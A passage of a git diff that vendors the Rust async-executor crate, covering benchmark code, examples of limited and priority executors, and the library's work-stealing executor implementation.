{ + future::yield_now().await; + } + }); + + task.detach(); + + if i & 16 == 0 { + future::yield_now().await; + } + } + }); + + // Spawn and wait for it to stop. + server_task.await; + db_task.await; + }); + }) + }, + *multithread, + ) + } + }); + } + } +} + +criterion_group!(benches, create, running_benches); + +criterion_main!(benches); diff --git a/lib/malio/async-executor/examples/limit.rs b/lib/malio/async-executor/examples/limit.rs new file mode 100644 index 0000000..4342c79 --- /dev/null +++ b/lib/malio/async-executor/examples/limit.rs @@ -0,0 +1,95 @@ +//! An executor where you can only push a limited number of tasks. + +use async_executor::{Executor, Task}; +use async_lock::Semaphore; +use std::{future::Future, sync::Arc, time::Duration}; + +/// An executor where you can only push a limited number of tasks. +struct LimitedExecutor { + /// Inner running executor. + executor: Executor<'static>, + + /// Semaphore limiting the number of tasks. + semaphore: Arc, +} + +impl LimitedExecutor { + fn new(max: usize) -> Self { + Self { + executor: Executor::new(), + semaphore: Semaphore::new(max).into(), + } + } + + /// Spawn a task, waiting until there is a slot available. + async fn spawn(&self, future: F) -> Task + where + F::Output: Send + 'static, + { + // Wait for a semaphore permit. + let permit = self.semaphore.acquire_arc().await; + + // Wrap it into a new future. + let future = async move { + let result = future.await; + drop(permit); + result + }; + + // Spawn the task. + self.executor.spawn(future) + } + + /// Run a future to completion. + async fn run(&self, future: F) -> F::Output { + self.executor.run(future).await + } +} + +fn main() { + futures_lite::future::block_on(async { + let ex = Arc::new(LimitedExecutor::new(10)); + ex.run({ + let ex = ex.clone(); + async move { + // Spawn a bunch of tasks that wait for a while. + for i in 0..15 { + ex.spawn(async move { + async_io::Timer::after(Duration::from_millis(fastrand::u64(1..3))).await; + println!("Waiting task #{i} finished!"); + }) + .await + .detach(); + } + + let (start_tx, start_rx) = async_channel::bounded::<()>(1); + let mut current_rx = start_rx; + + // Send the first message. + start_tx.send(()).await.unwrap(); + + // Spawn a bunch of channel tasks that wake eachother up. + for i in 0..25 { + let (next_tx, next_rx) = async_channel::bounded::<()>(1); + + ex.spawn(async move { + current_rx.recv().await.unwrap(); + println!("Channel task {i} woken up!"); + next_tx.send(()).await.unwrap(); + println!("Channel task {i} finished!"); + }) + .await + .detach(); + + current_rx = next_rx; + } + + // Wait for the last task to finish. + current_rx.recv().await.unwrap(); + + println!("All tasks finished!"); + } + }) + .await; + }); +} diff --git a/lib/malio/async-executor/examples/priority.rs b/lib/malio/async-executor/examples/priority.rs new file mode 100644 index 0000000..b1dc01e --- /dev/null +++ b/lib/malio/async-executor/examples/priority.rs @@ -0,0 +1,84 @@ +//! An executor with task priorities. + +use std::thread; + +use async_executor::{Executor, Task}; +use futures_lite::{future, prelude::*}; + +/// Task priority. +#[repr(usize)] +#[derive(Debug, Clone, Copy)] +enum Priority { + High = 0, + Medium = 1, + Low = 2, +} + +/// An executor with task priorities. +/// +/// Tasks with lower priorities only get polled when there are no tasks with higher priorities. +struct PriorityExecutor<'a> { + ex: [Executor<'a>; 3], +} + +impl<'a> PriorityExecutor<'a> { + /// Creates a new executor. + const fn new() -> PriorityExecutor<'a> { + PriorityExecutor { + ex: [Executor::new(), Executor::new(), Executor::new()], + } + } + + /// Spawns a task with the given priority. + fn spawn( + &self, + priority: Priority, + future: impl Future + Send + 'a, + ) -> Task { + self.ex[priority as usize].spawn(future) + } + + /// Runs the executor forever. + async fn run(&self) { + loop { + for _ in 0..200 { + let t0 = self.ex[0].tick(); + let t1 = self.ex[1].tick(); + let t2 = self.ex[2].tick(); + + // Wait until one of the ticks completes, trying them in order from highest + // priority to lowest priority. + t0.or(t1).or(t2).await; + } + + // Yield every now and then. + future::yield_now().await; + } + } +} + +fn main() { + static EX: PriorityExecutor<'_> = PriorityExecutor::new(); + + // Spawn a thread running the executor forever. + thread::spawn(|| future::block_on(EX.run())); + + let mut tasks = Vec::new(); + + for _ in 0..20 { + // Choose a random priority. + let choice = [Priority::High, Priority::Medium, Priority::Low]; + let priority = choice[fastrand::usize(..choice.len())]; + + // Spawn a task with this priority. + tasks.push(EX.spawn(priority, async move { + println!("{priority:?}"); + future::yield_now().await; + println!("{priority:?}"); + })); + } + + for task in tasks { + future::block_on(task); + } +} diff --git a/lib/malio/async-executor/src/lib.rs b/lib/malio/async-executor/src/lib.rs new file mode 100644 index 0000000..b65c33c --- /dev/null +++ b/lib/malio/async-executor/src/lib.rs @@ -0,0 +1,1233 @@ +//! Async executors. +//! +//! This crate provides two reference executors that trade performance for +//! functionality. They should be considered reference executors that are "good +//! enough" for most use cases. For more specialized use cases, consider writing +//! your own executor on top of [`async-task`]. +//! +//! [`async-task`]: https://crates.io/crates/async-task +//! +//! # Examples +//! +//! ``` +//! use async_executor::Executor; +//! use futures_lite::future; +//! +//! // Create a new executor. +//! let ex = Executor::new(); +//! +//! // Spawn a task. +//! let task = ex.spawn(async { +//! println!("Hello world"); +//! }); +//! +//! // Run the executor until the task completes. +//! future::block_on(ex.run(task)); +//! ``` + +#![warn( + missing_docs, + missing_debug_implementations, + rust_2018_idioms, + clippy::undocumented_unsafe_blocks +)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![cfg_attr(docsrs, feature(doc_cfg))] +#![allow(clippy::unused_unit)] // false positive fixed in Rust 1.89 + +use std::fmt; +use std::marker::PhantomData; +use std::panic::{RefUnwindSafe, UnwindSafe}; +use std::pin::Pin; +use std::rc::Rc; +use std::sync::atomic::{AtomicBool, AtomicPtr, Ordering}; +use std::sync::{Arc, Mutex, MutexGuard, PoisonError, RwLock, TryLockError}; +use std::task::{Context, Poll, Waker}; + +use async_task::{Builder, Runnable}; +use concurrent_queue::ConcurrentQueue; +use futures_lite::{future, prelude::*}; +use pin_project_lite::pin_project; +use slab::Slab; + +#[cfg(feature = "static")] +mod static_executors; + +#[doc(no_inline)] +pub use async_task::{FallibleTask, Task}; +#[cfg(feature = "static")] +#[cfg_attr(docsrs, doc(cfg(any(feature = "static"))))] +pub use static_executors::*; + +/// An async executor. +/// +/// # Examples +/// +/// A multi-threaded executor: +/// +/// ``` +/// use async_channel::unbounded; +/// use async_executor::Executor; +/// use easy_parallel::Parallel; +/// use futures_lite::future; +/// +/// let ex = Executor::new(); +/// let (signal, shutdown) = unbounded::<()>(); +/// +/// Parallel::new() +/// // Run four executor threads. +/// .each(0..4, |_| future::block_on(ex.run(shutdown.recv()))) +/// // Run the main future on the current thread. +/// .finish(|| future::block_on(async { +/// println!("Hello world!"); +/// drop(signal); +/// })); +/// ``` +pub struct Executor<'a> { + /// The executor state. + pub(crate) state: AtomicPtr, + + /// Makes the `'a` lifetime invariant. + _marker: PhantomData>, +} + +// SAFETY: Executor stores no thread local state that can be accessed via other thread. +unsafe impl Send for Executor<'_> {} +// SAFETY: Executor internally synchronizes all of it's operations internally. +unsafe impl Sync for Executor<'_> {} + +impl UnwindSafe for Executor<'_> {} +impl RefUnwindSafe for Executor<'_> {} + +impl fmt::Debug for Executor<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_executor(self, "Executor", f) + } +} + +impl<'a> Executor<'a> { + /// Creates a new executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// ``` + pub const fn new() -> Executor<'a> { + Executor { + state: AtomicPtr::new(std::ptr::null_mut()), + _marker: PhantomData, + } + } + + /// Returns `true` if there are no unfinished tasks. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// assert!(ex.is_empty()); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(!ex.is_empty()); + /// + /// assert!(ex.try_tick()); + /// assert!(ex.is_empty()); + /// ``` + pub fn is_empty(&self) -> bool { + self.state().active().is_empty() + } + + /// Spawns a task onto the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn(&self, future: impl Future + Send + 'a) -> Task { + let state = self.state(); + let mut active = state.active(); + + // SAFETY: `T` and the future are `Send`. + unsafe { Self::spawn_inner(state, future, &mut active) } + } + + /// Spawns many tasks onto the executor. + /// + /// As opposed to the [`spawn`] method, this locks the executor's inner task lock once and + /// spawns all of the tasks in one go. With large amounts of tasks this can improve + /// contention. + /// + /// For very large numbers of tasks the lock is occasionally dropped and re-acquired to + /// prevent runner thread starvation. It is assumed that the iterator provided does not + /// block; blocking iterators can lock up the internal mutex and therefore the entire + /// executor. + /// + /// ## Example + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::{stream, prelude::*}; + /// use std::future::ready; + /// + /// # futures_lite::future::block_on(async { + /// let mut ex = Executor::new(); + /// + /// let futures = [ + /// ready(1), + /// ready(2), + /// ready(3) + /// ]; + /// + /// // Spawn all of the futures onto the executor at once. + /// let mut tasks = vec![]; + /// ex.spawn_many(futures, &mut tasks); + /// + /// // Await all of them. + /// let results = ex.run(async move { + /// stream::iter(tasks).then(|x| x).collect::>().await + /// }).await; + /// assert_eq!(results, [1, 2, 3]); + /// # }); + /// ``` + /// + /// [`spawn`]: Executor::spawn + pub fn spawn_many + Send + 'a>( + &self, + futures: impl IntoIterator, + handles: &mut impl Extend>, + ) { + let state = self.state(); + let mut active = Some(state.as_ref().active()); + + // Convert the futures into tasks. + let tasks = futures.into_iter().enumerate().map(move |(i, future)| { + // SAFETY: `T` and the future are `Send`. + let task = unsafe { Self::spawn_inner(state, future, active.as_mut().unwrap()) }; + + // Yield the lock every once in a while to ease contention. + if i.wrapping_sub(1) % 500 == 0 { + drop(active.take()); + active = Some(self.state().active()); + } + + task + }); + + // Push the tasks to the user's collection. + handles.extend(tasks); + } + + /// Spawn a future while holding the inner lock. + /// + /// # Safety + /// + /// If this is an `Executor`, `F` and `T` must be `Send`. + unsafe fn spawn_inner( + state: Pin<&'a State>, + future: impl Future + 'a, + active: &mut Slab, + ) -> Task { + // Remove the task from the set of active tasks when the future finishes. + let entry = active.vacant_entry(); + let index = entry.key(); + let future = AsyncCallOnDrop::new(future, move || drop(state.active().try_remove(index))); + + // Create the task and register it in the set of active tasks. + // + // SAFETY: + // + // If `future` is not `Send`, this must be a `LocalExecutor` as per this + // function's unsafe precondition. Since `LocalExecutor` is `!Sync`, + // `try_tick`, `tick` and `run` can only be called from the origin + // thread of the `LocalExecutor`. Similarly, `spawn` can only be called + // from the origin thread, ensuring that `future` and the executor share + // the same origin thread. The `Runnable` can be scheduled from other + // threads, but because of the above `Runnable` can only be called or + // dropped on the origin thread. + // + // `future` is not `'static`, but we make sure that the `Runnable` does + // not outlive `'a`. When the executor is dropped, the `active` field is + // drained and all of the `Waker`s are woken. Then, the queue inside of + // the `Executor` is drained of all of its runnables. This ensures that + // runnables are dropped and this precondition is satisfied. + // + // `Self::schedule` is `Send` and `Sync`, as checked below. + // Therefore we do not need to worry about which thread the `Waker` is used + // and dropped on. + // + // `Self::schedule` may not be `'static`, but we make sure that the `Waker` does + // not outlive `'a`. When the executor is dropped, the `active` field is + // drained and all of the `Waker`s are woken. + let (runnable, task) = Builder::new() + .propagate_panic(true) + .spawn_unchecked(|()| future, Self::schedule(state)); + entry.insert(runnable.waker()); + + runnable.schedule(); + task + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// + /// let ex = Executor::new(); + /// assert!(!ex.try_tick()); // no tasks to run + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(ex.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.state().try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::future; + /// + /// let ex = Executor::new(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// future::block_on(ex.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.state().tick().await; + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::Executor; + /// use futures_lite::future; + /// + /// let ex = Executor::new(); + /// + /// let task = ex.spawn(async { 1 + 2 }); + /// let res = future::block_on(ex.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.state().run(future).await + } + + /// Returns a function that schedules a runnable task when it gets woken up. + fn schedule(state: Pin<&'a State>) -> impl Fn(Runnable) + Send + Sync + 'a { + // TODO: If possible, push into the current local queue and notify the ticker. + move |runnable| { + let result = state.queue.push(runnable); + debug_assert!(result.is_ok()); // Since we use unbounded queue, push will never fail. + state.notify(); + } + } + + /// Returns a pointer to the inner state. + #[inline] + fn state(&self) -> Pin<&'a State> { + #[cold] + fn alloc_state(atomic_ptr: &AtomicPtr) -> *mut State { + let state = Arc::new(State::new()); + let ptr = Arc::into_raw(state).cast_mut(); + if let Err(actual) = atomic_ptr.compare_exchange( + std::ptr::null_mut(), + ptr, + Ordering::AcqRel, + Ordering::Acquire, + ) { + // SAFETY: This was just created from Arc::into_raw. + drop(unsafe { Arc::from_raw(ptr) }); + actual + } else { + ptr + } + } + + let mut ptr = self.state.load(Ordering::Acquire); + if ptr.is_null() { + ptr = alloc_state(&self.state); + } + + // SAFETY: So long as an Executor lives, it's state pointer will always be valid + // and will never be moved until it's dropped. + Pin::new(unsafe { &*ptr }) + } +} + +impl Drop for Executor<'_> { + fn drop(&mut self) { + let ptr = *self.state.get_mut(); + if ptr.is_null() { + return; + } + + // SAFETY: As ptr is not null, it was allocated via Arc::new and converted + // via Arc::into_raw in state_ptr. + let state = unsafe { Arc::from_raw(ptr) }; + + let mut active = state.pin().active(); + for w in active.drain() { + w.wake(); + } + drop(active); + + while state.queue.pop().is_ok() {} + } +} + +impl<'a> Default for Executor<'a> { + fn default() -> Executor<'a> { + Executor::new() + } +} + +/// A thread-local executor. +/// +/// The executor can only be run on the thread that created it. +/// +/// # Examples +/// +/// ``` +/// use async_executor::LocalExecutor; +/// use futures_lite::future; +/// +/// let local_ex = LocalExecutor::new(); +/// +/// future::block_on(local_ex.run(async { +/// println!("Hello world!"); +/// })); +/// ``` +pub struct LocalExecutor<'a> { + /// The inner executor. + inner: Executor<'a>, + + /// Makes the type `!Send` and `!Sync`. + _marker: PhantomData>, +} + +impl UnwindSafe for LocalExecutor<'_> {} +impl RefUnwindSafe for LocalExecutor<'_> {} + +impl fmt::Debug for LocalExecutor<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + debug_executor(&self.inner, "LocalExecutor", f) + } +} + +impl<'a> LocalExecutor<'a> { + /// Creates a single-threaded executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let local_ex = LocalExecutor::new(); + /// ``` + pub const fn new() -> LocalExecutor<'a> { + LocalExecutor { + inner: Executor::new(), + _marker: PhantomData, + } + } + + /// Returns `true` if there are no unfinished tasks. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let local_ex = LocalExecutor::new(); + /// assert!(local_ex.is_empty()); + /// + /// let task = local_ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(!local_ex.is_empty()); + /// + /// assert!(local_ex.try_tick()); + /// assert!(local_ex.is_empty()); + /// ``` + pub fn is_empty(&self) -> bool { + self.inner().is_empty() + } + + /// Spawns a task onto the executor. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let local_ex = LocalExecutor::new(); + /// + /// let task = local_ex.spawn(async { + /// println!("Hello world"); + /// }); + /// ``` + pub fn spawn(&self, future: impl Future + 'a) -> Task { + let state = self.inner().state(); + let mut active = state.active(); + + // SAFETY: This executor is not thread safe, so the future and its result + // cannot be sent to another thread. + unsafe { Executor::spawn_inner(state, future, &mut active) } + } + + /// Spawns many tasks onto the executor. + /// + /// As opposed to the [`spawn`] method, this locks the executor's inner task lock once and + /// spawns all of the tasks in one go. With large amounts of tasks this can improve + /// contention. + /// + /// It is assumed that the iterator provided does not block; blocking iterators can lock up + /// the internal mutex and therefore the entire executor. Unlike [`Executor::spawn`], the + /// mutex is not released, as there are no other threads that can poll this executor. + /// + /// ## Example + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::{stream, prelude::*}; + /// use std::future::ready; + /// + /// # futures_lite::future::block_on(async { + /// let mut ex = LocalExecutor::new(); + /// + /// let futures = [ + /// ready(1), + /// ready(2), + /// ready(3) + /// ]; + /// + /// // Spawn all of the futures onto the executor at once. + /// let mut tasks = vec![]; + /// ex.spawn_many(futures, &mut tasks); + /// + /// // Await all of them. + /// let results = ex.run(async move { + /// stream::iter(tasks).then(|x| x).collect::>().await + /// }).await; + /// assert_eq!(results, [1, 2, 3]); + /// # }); + /// ``` + /// + /// [`spawn`]: LocalExecutor::spawn + /// [`Executor::spawn_many`]: Executor::spawn_many + pub fn spawn_many + 'a>( + &self, + futures: impl IntoIterator, + handles: &mut impl Extend>, + ) { + let state = self.inner().state(); + let mut active = state.active(); + + // Convert all of the futures to tasks. + let tasks = futures.into_iter().map(|future| { + // SAFETY: This executor is not thread safe, so the future and its result + // cannot be sent to another thread. + unsafe { Executor::spawn_inner(state, future, &mut active) } + + // As only one thread can spawn or poll tasks at a time, there is no need + // to release lock contention here. + }); + + // Push them to the user's collection. + handles.extend(tasks); + } + + /// Attempts to run a task if at least one is scheduled. + /// + /// Running a scheduled task means simply polling its future once. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// + /// let ex = LocalExecutor::new(); + /// assert!(!ex.try_tick()); // no tasks to run + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// assert!(ex.try_tick()); // a task was found + /// ``` + pub fn try_tick(&self) -> bool { + self.inner().try_tick() + } + + /// Runs a single task. + /// + /// Running a task means simply polling its future once. + /// + /// If no tasks are scheduled when this method is called, it will wait until one is scheduled. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let ex = LocalExecutor::new(); + /// + /// let task = ex.spawn(async { + /// println!("Hello world"); + /// }); + /// future::block_on(ex.tick()); // runs the task + /// ``` + pub async fn tick(&self) { + self.inner().tick().await + } + + /// Runs the executor until the given future completes. + /// + /// # Examples + /// + /// ``` + /// use async_executor::LocalExecutor; + /// use futures_lite::future; + /// + /// let local_ex = LocalExecutor::new(); + /// + /// let task = local_ex.spawn(async { 1 + 2 }); + /// let res = future::block_on(local_ex.run(async { task.await * 2 })); + /// + /// assert_eq!(res, 6); + /// ``` + pub async fn run(&self, future: impl Future) -> T { + self.inner().run(future).await + } + + /// Returns a reference to the inner executor. + fn inner(&self) -> &Executor<'a> { + &self.inner + } +} + +impl<'a> Default for LocalExecutor<'a> { + fn default() -> LocalExecutor<'a> { + LocalExecutor::new() + } +} + +/// The state of a executor. +struct State { + /// The global queue. + queue: ConcurrentQueue, + + /// Local queues created by runners. + local_queues: RwLock>>>, + + /// Set to `true` when a sleeping ticker is notified or no tickers are sleeping. + notified: AtomicBool, + + /// A list of sleeping tickers. + sleepers: Mutex, + + /// Currently active tasks. + active: Mutex>, +} + +impl State { + /// Creates state for a new executor. + const fn new() -> State { + State { + queue: ConcurrentQueue::unbounded(), + local_queues: RwLock::new(Vec::new()), + notified: AtomicBool::new(true), + sleepers: Mutex::new(Sleepers { + count: 0, + wakers: Vec::new(), + free_ids: Vec::new(), + }), + active: Mutex::new(Slab::new()), + } + } + + fn pin(&self) -> Pin<&Self> { + Pin::new(self) + } + + /// Returns a reference to currently active tasks. + fn active(self: Pin<&Self>) -> MutexGuard<'_, Slab> { + self.get_ref() + .active + .lock() + .unwrap_or_else(PoisonError::into_inner) + } + + /// Notifies a sleeping ticker. + #[inline] + fn notify(&self) { + if self + .notified + .compare_exchange(false, true, Ordering::AcqRel, Ordering::Acquire) + .is_ok() + { + let waker = self + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner) + .notify(); + if let Some(w) = waker { + w.wake(); + } + } + } + + pub(crate) fn try_tick(&self) -> bool { + match self.queue.pop() { + Err(_) => false, + Ok(runnable) => { + // Notify another ticker now to pick up where this ticker left off, just in case + // running the task takes a long time. + self.notify(); + + // Run the task. + runnable.run(); + true + } + } + } + + pub(crate) async fn tick(&self) { + let runnable = Ticker::new(self).runnable().await; + runnable.run(); + } + + pub async fn run(&self, future: impl Future) -> T { + let mut runner = Runner::new(self); + let mut rng = fastrand::Rng::new(); + + // A future that runs tasks forever. + let run_forever = async { + loop { + for _ in 0..200 { + let runnable = runner.runnable(&mut rng).await; + runnable.run(); + } + future::yield_now().await; + } + }; + + // Run `future` and `run_forever` concurrently until `future` completes. + future.or(run_forever).await + } +} + +/// A list of sleeping tickers. +struct Sleepers { + /// Number of sleeping tickers (both notified and unnotified). + count: usize, + + /// IDs and wakers of sleeping unnotified tickers. + /// + /// A sleeping ticker is notified when its waker is missing from this list. + wakers: Vec<(usize, Waker)>, + + /// Reclaimed IDs. + free_ids: Vec, +} + +impl Sleepers { + /// Inserts a new sleeping ticker. + fn insert(&mut self, waker: &Waker) -> usize { + let id = match self.free_ids.pop() { + Some(id) => id, + None => self.count + 1, + }; + self.count += 1; + self.wakers.push((id, waker.clone())); + id + } + + /// Re-inserts a sleeping ticker's waker if it was notified. + /// + /// Returns `true` if the ticker was notified. + fn update(&mut self, id: usize, waker: &Waker) -> bool { + for item in &mut self.wakers { + if item.0 == id { + item.1.clone_from(waker); + return false; + } + } + + self.wakers.push((id, waker.clone())); + true + } + + /// Removes a previously inserted sleeping ticker. + /// + /// Returns `true` if the ticker was notified. + fn remove(&mut self, id: usize) -> bool { + self.count -= 1; + self.free_ids.push(id); + + for i in (0..self.wakers.len()).rev() { + if self.wakers[i].0 == id { + self.wakers.remove(i); + return false; + } + } + true + } + + /// Returns `true` if a sleeping ticker is notified or no tickers are sleeping. + fn is_notified(&self) -> bool { + self.count == 0 || self.count > self.wakers.len() + } + + /// Returns notification waker for a sleeping ticker. + /// + /// If a ticker was notified already or there are no tickers, `None` will be returned. + fn notify(&mut self) -> Option { + if self.wakers.len() == self.count { + self.wakers.pop().map(|item| item.1) + } else { + None + } + } +} + +/// Runs task one by one. +struct Ticker<'a> { + /// The executor state. + state: &'a State, + + /// Set to a non-zero sleeper ID when in sleeping state. + /// + /// States a ticker can be in: + /// 1) Woken. + /// 2a) Sleeping and unnotified. + /// 2b) Sleeping and notified. + sleeping: usize, +} + +impl Ticker<'_> { + /// Creates a ticker. + fn new(state: &State) -> Ticker<'_> { + Ticker { state, sleeping: 0 } + } + + /// Moves the ticker into sleeping and unnotified state. + /// + /// Returns `false` if the ticker was already sleeping and unnotified. + fn sleep(&mut self, waker: &Waker) -> bool { + let mut sleepers = self + .state + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner); + + match self.sleeping { + // Move to sleeping state. + 0 => { + self.sleeping = sleepers.insert(waker); + } + + // Already sleeping, check if notified. + id => { + if !sleepers.update(id, waker) { + return false; + } + } + } + + self.state + .notified + .store(sleepers.is_notified(), Ordering::Release); + + true + } + + /// Moves the ticker into woken state. + fn wake(&mut self) { + if self.sleeping != 0 { + let mut sleepers = self + .state + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner); + sleepers.remove(self.sleeping); + + self.state + .notified + .store(sleepers.is_notified(), Ordering::Release); + } + self.sleeping = 0; + } + + /// Waits for the next runnable task to run. + async fn runnable(&mut self) -> Runnable { + self.runnable_with(|| self.state.queue.pop().ok()).await + } + + /// Waits for the next runnable task to run, given a function that searches for a task. + async fn runnable_with(&mut self, mut search: impl FnMut() -> Option) -> Runnable { + future::poll_fn(|cx| { + loop { + match search() { + None => { + // Move to sleeping and unnotified state. + if !self.sleep(cx.waker()) { + // If already sleeping and unnotified, return. + return Poll::Pending; + } + } + Some(r) => { + // Wake up. + self.wake(); + + // Notify another ticker now to pick up where this ticker left off, just in + // case running the task takes a long time. + self.state.notify(); + + return Poll::Ready(r); + } + } + } + }) + .await + } +} + +impl Drop for Ticker<'_> { + fn drop(&mut self) { + // If this ticker is in sleeping state, it must be removed from the sleepers list. + if self.sleeping != 0 { + let mut sleepers = self + .state + .sleepers + .lock() + .unwrap_or_else(PoisonError::into_inner); + let notified = sleepers.remove(self.sleeping); + + self.state + .notified + .store(sleepers.is_notified(), Ordering::Release); + + // If this ticker was notified, then notify another ticker. + if notified { + drop(sleepers); + self.state.notify(); + } + } + } +} + +/// A worker in a work-stealing executor. +/// +/// This is just a ticker that also has an associated local queue for improved cache locality. +struct Runner<'a> { + /// The executor state. + state: &'a State, + + /// Inner ticker. + ticker: Ticker<'a>, + + /// The local queue. + local: Arc>, + + /// Bumped every time a runnable task is found. + ticks: usize, +} + +impl Runner<'_> { + /// Creates a runner and registers it in the executor state. + fn new(state: &State) -> Runner<'_> { + let runner = Runner { + state, + ticker: Ticker::new(state), + local: Arc::new(ConcurrentQueue::bounded(512)), + ticks: 0, + }; + state + .local_queues + .write() + .unwrap_or_else(PoisonError::into_inner) + .push(runner.local.clone()); + runner + } + + /// Waits for the next runnable task to run. + async fn runnable(&mut self, rng: &mut fastrand::Rng) -> Runnable { + let runnable = self + .ticker + .runnable_with(|| { + // Try the local queue. + if let Ok(r) = self.local.pop() { + return Some(r); + } + + // Try stealing from the global queue. + if let Ok(r) = self.state.queue.pop() { + steal(&self.state.queue, &self.local); + return Some(r); + } + + // Try stealing from other runners. + if let Ok(local_queues) = self.state.local_queues.try_read() { + // Pick a random starting point in the iterator list and rotate the list. + let n = local_queues.len(); + let start = rng.usize(..n); + let iter = local_queues + .iter() + .chain(local_queues.iter()) + .skip(start) + .take(n); + + // Remove this runner's local queue. + let iter = iter.filter(|local| !Arc::ptr_eq(local, &self.local)); + + // Try stealing from each local queue in the list. + for local in iter { + steal(local, &self.local); + if let Ok(r) = self.local.pop() { + return Some(r); + } + } + } + + None + }) + .await; + + // Bump the tick counter. + self.ticks = self.ticks.wrapping_add(1); + + if self.ticks % 64 == 0 { + // Steal tasks from the global queue to ensure fair task scheduling. + steal(&self.state.queue, &self.local); + } + + runnable + } +} + +impl Drop for Runner<'_> { + fn drop(&mut self) { + // Remove the local queue. + self.state + .local_queues + .write() + .unwrap_or_else(PoisonError::into_inner) + .retain(|local| !Arc::ptr_eq(local, &self.local)); + + // Re-schedule remaining tasks in the local queue. + while let Ok(r) = self.local.pop() { + r.schedule(); + } + } +} + +/// Steals some items from one queue into another. +fn steal(src: &ConcurrentQueue, dest: &ConcurrentQueue) { + // Half of `src`'s length rounded up. + let mut count = (src.len() + 1) / 2; + + if count > 0 { + // Don't steal more than fits into the queue. + if let Some(cap) = dest.capacity() { + count = count.min(cap - dest.len()); + } + + // Steal tasks. + for _ in 0..count { + if let Ok(t) = src.pop() { + assert!(dest.push(t).is_ok()); + } else { + break; + } + } + } +} + +/// Debug implementation for `Executor` and `LocalExecutor`. +fn debug_executor(executor: &Executor<'_>, name: &str, f: &mut fmt::Formatter<'_>) -> fmt::Result { + // Get a reference to the state. + let ptr = executor.state.load(Ordering::Acquire); + if ptr.is_null() { + // The executor has not been initialized. + struct Uninitialized; + + impl fmt::Debug for Uninitialized { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("") + } + } + + return f.debug_tuple(name).field(&Uninitialized).finish(); + } + + // SAFETY: If the state pointer is not null, it must have been + // allocated properly by Arc::new and converted via Arc::into_raw + // in state_ptr. + let state = unsafe { &*ptr }; + + debug_state(state, name, f) +} + +/// Debug implementation for `Executor` and `LocalExecutor`. +fn debug_state(state: &State, name: &str, f: &mut fmt::Formatter<'_>) -> fmt::Result { + /// Debug wrapper for the number of active tasks. + struct ActiveTasks<'a>(&'a Mutex>); + + impl fmt::Debug for ActiveTasks<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.0.try_lock() { + Ok(lock) => fmt::Debug::fmt(&lock.len(), f), + Err(TryLockError::WouldBlock) => f.write_str(""), + Err(TryLockError::Poisoned(err)) => fmt::Debug::fmt(&err.into_inner().len(), f), + } + } + } + + /// Debug wrapper for the local runners. + struct LocalRunners<'a>(&'a RwLock>>>); + + impl fmt::Debug for LocalRunners<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.0.try_read() { + Ok(lock) => f + .debug_list() + .entries(lock.iter().map(|queue| queue.len())) + .finish(), + Err(TryLockError::WouldBlock) => f.write_str(""), + Err(TryLockError::Poisoned(_)) => f.write_str(""), + } + } + } + + /// Debug wrapper for the sleepers. + struct SleepCount<'a>(&'a Mutex); + + impl fmt::Debug for SleepCount<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self.0.try_lock() { + Ok(lock) => fmt::Debug::fmt(&lock.count, f), + Err(TryLockError::WouldBlock) => f.write_str(""), + Err(TryLockError::Poisoned(_)) => f.write_str(""), + } + } + } + + f.debug_struct(name) + .field("active", &ActiveTasks(&state.active)) + .field("global_tasks", &state.queue.len()) + .field("local_runners", &LocalRunners(&state.local_queues)) + .field("sleepers", &SleepCount(&state.sleepers)) + .finish() +} + +/// Runs a closure when dropped. +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} + +pin_project! { + /// A wrapper around a future, running a closure when dropped. + struct AsyncCallOnDrop { + #[pin] + future: Fut, + cleanup: CallOnDrop, + } +} + +impl 